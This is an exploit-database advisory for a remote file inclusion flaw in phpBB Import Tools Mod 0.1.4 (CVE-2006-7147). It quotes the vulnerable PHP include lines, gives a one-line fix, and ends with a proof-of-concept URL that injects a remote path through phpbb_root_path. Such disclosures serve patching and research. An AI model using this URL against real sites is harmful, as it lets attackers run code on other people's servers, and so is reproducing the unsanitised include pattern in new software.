phpBB Import Tools Mod 0.1.4 - Remote File Inclusion

Author: boecke
type: webapps
platform: php
port: 
date_added: 2006-10-11  
date_updated:   
verified: 1  
codes: OSVDB-35450;CVE-2006-7147  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 2531.txt  
#
# *
# * Title: phpBB Import Tools Mod <= 0.1.4 (phpbb_root_path) Remote File Inclusion
# * Author/Discovery: boecke
# * Vulnerability Type: Remote File Inclusion
# * Risk: High Risk
# * Software Affected: phpBB Import Tools Mod <= 0.1.4
# *
# * Literally shouts to: str0ke and henrik
# * Don't promote Google-ism!
# *
#

[ Vulnerable Code: ]
include_once($phpbb_root_path . 'includes/functions_validate.' . $phpEx);
include_once($phpbb_root_path . 'includes/functions_post.' . $phpEx);
include_once($phpbb_root_path . 'includes/bbcode.' . $phpEx);

[ Fix: ]
Correctly sanitize these variables before their use or deny direct access to the script.

[ Proof of Concept: ]
http://localhost/phpBB2/includes/functions_mod_user.php?phpbb_root_path=

# milw0rm.com [2006-10-12]